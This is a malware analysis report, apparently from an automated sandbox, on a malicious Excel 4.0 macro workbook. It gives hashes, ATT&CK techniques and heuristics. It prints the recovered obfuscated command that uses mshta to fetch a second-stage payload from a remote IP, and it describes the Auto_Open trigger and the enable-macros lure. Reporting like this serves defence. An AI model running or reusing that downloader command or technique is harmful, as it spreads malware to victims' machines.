Office (OLE) / .XLSX malware analysis — malicious · 5bb626d65f16f3be

MALICIOUS

Office (OLE) / .XLSX

64.8 KB Created: 2021-12-16 23:53:43 Authoring application: Microsoft Excel

MD5: 20219df9a9cdedd214795380326a47bc SHA-1: 0febe5413bae8e4f3653f49fdc5aa1dd17442652 SHA-256: 5bb626d65f16f3befd6929af097b9f8513a435662959c67645414a795777208a

100 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains Excel 4.0 macros with an Auto_Open entry, indicating it's designed to execute automatically upon opening. The macro attempts to download a second-stage payload from the reconstructed URL 'http://87.251.86.178/pp/aa.html' using the command 'cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/aa.html'. The document body also contains a lure to enable content, further supporting its role as a malicious attachment.

Heuristics 3

Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME

oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN

Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
Macro/content-enable lure medium SE_ENABLE_LURE

Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_macros.txt` `5b6a229f32f262b2c382f3c832a9f8a5e27f96ac7637e45dc67edc9bb251f152`	xlm-macro	oletools.olevba.extract_all_macros (XLM macro listing)	1514 bytes

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